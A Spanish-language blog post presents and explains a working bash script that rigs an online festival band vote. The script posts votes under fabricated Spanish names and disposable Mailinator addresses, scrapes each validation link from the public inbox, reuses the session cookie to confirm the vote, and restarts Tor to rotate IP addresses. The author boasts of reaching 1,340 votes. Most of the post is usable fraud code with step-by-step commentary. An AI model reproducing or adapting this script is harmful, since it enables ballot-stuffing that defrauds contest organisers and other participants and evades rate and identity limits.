Playing with curl & web forms

Share it!

Ese script en bash permite la reproducción en bucle de la acción de emitir
un voto mediante un formulario HTML de un conocido festival que pide un correo para posterior validación del mismo por link.

Como era de esperar, sólo se permitia un voto por cuenta de correo y nombre.

#!/bin/bash
### htmel[er]-fuck[er] 0.2 ###

URL=http://www.mailinator.com/maildir.jsp?email=
COMPLETO=~/40-votos
DIR=~/www.mailinator.com
LINKS=~/www.mailinator.com/links
LBM=http://www.blabla-rock.com/concursos/concurso-de-bandas/votos/?pag=xxx

while read line

do

CORREO=${line#*=}
sudo curl --socks5 127.0.0.1:9050 -d "votos_bandas=1&nombre=$line" $LBM

wget -r $URL$CORREO
sleep 4

cd $DIR
echo $CORREO > utf
CORREO=`cat utf` | sed 's/\%40/\@/' utf > utf-2

CORREO=`cat utf-2`

cat /home/own/www.mailinator.com/maildir.jsp\?email\=$CORREO |grep msgid > $DIR/msgid-extract
sleep 7
IDVALIDO=`/usr/bin/urlxtract.sed $DIR/msgid-extract|head -n 1`
lynx -dump "http://www.mailinator.com$IDVALIDO" | egrep -o "http:.*" > links
sleep 7
VI=`cat links |grep "votos"| tail -n 1`
wget --save-cookies wget-cook --keep-session-cookies $VI
PHPID=`cat wget-cook | awk '{print $7}'| tail -n 1`
sleep 4
sudo curl --socks5 127.0.0.1:9050 -b PHPSESSID=$PHPID -d "act=votar_vid&uid=$CORREO%40mailinator.com&idmaketa=xxx" $LBM
sleep 2
sudo /etc/init.d/tor restart
echo $CORREO >> correos-enviados

#         sudo mkdir ~/procesado/$DIR-$CORREO
#         sudo  cp -r $DIR ~/procesado/$DIR-$CORREO-$(date +%F-%H%M)
rm utf utf-2 wget-cook msgid-extract
cd ..
sudo  rm -rf $DIR

#         WAIT=$[ ( $RANDOM % 60 )  + 1 ]
sleep $WAIT
done < "$COMPLETO"

 

Analizando un poco este script tenemos lo siguiente:

 

URL=http://www.mailinator.com/maildir.jsp?email=

Mailinator es un servidor de correo que permite One Time Accounts,cuentas de correo que creamos para un sólo uso y no tener que dar nuestro correo personal si no queremos, la clara desventaja es que se caracterizan por una ID, y si la conocemos podemos leer el correo asociado sin introducir ningún pass.

 

COMPLETO=~/40-votos

Ese fichero contiene el número de votos que queremos ir introduciendo, en el siguiente formato:

Ximena+Pelayo+Caraballo&uid=addisonj86%40mailinator.com
Pedro+Ferrer+Nieto&uid=ziyawangz001%40mailinator.com
Gael+Gálvez+Rosado&uid=tepper.drew%40mailinator.com
Agustín+Rosario+Deleón&uid=victorysmile2001%40mailinator.com

[…]

Para lograrlo se hizo un shuffle de Nombre+Apellido1+Apellido2 + correo@mailinator con otros pequeños scripts y que se comentarán más adelante  de entre unas listas creadas al efecto con apellidos y nombres en este caso españoles, los correos de listas de spam.

Con nuestra siguiente cadena recogida en CORREO=${line#*=} :

Agustín+Rosario+Deleón&uid=victorysmile2001%40mailinator.com

Se va haciendo el POST con CURL y el correo de activación llega a su respectivo buzón.

Después, formamos otra URL de acceso directo a los buzones para descargarnos la página entera en formato texto y extraer entonces el enlace exacto del último correo recibido,

lynx -dump «http://www.mailinator.com$IDVALIDO» | egrep -o «http:.*» > links

del fichero creado links también habrá que extraer el enlace válido que tiene el siguiente formato:

$blabla-rock.com/votos?vi=2cc38f6722b04482c1da6d8f5982ae70

de la siguiente manera:

VI=`cat links |grep «votos»| tail -n 1`

Con esto y con el PHPSSID concreto de la sesión que hemos guardado en un fichero mediante el parámetro –save-cookies de wget ( teniendo en cuenta que sólo nos es válido para votar el PHPSSID que se nos crea la anterior url ), ya podemos realizar la última instancia POST con curl hacia el link válido que nos proporciona el buzón y proceder a una legítima votación con:

sudo curl –socks5 127.0.0.1:9050 -b PHPSESSID=$PHPID -d «act=votar_vid&uid=$CORREO%40mailinator.com&idmaketa=197″ $LBM

También se ha hecho uso de la red tor para anonimizar las conexiones al servidor y alternar las direcciones ip desde las que se ejecutan las acciones.

 

Subiendo 1,2,3,4..1340…. =)

 

 

 

 

 

 

 

Share it!
Esta entrada fue publicada en Seguridad Informática. Guarda el enlace permanente.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

*

Puedes usar las siguientes etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>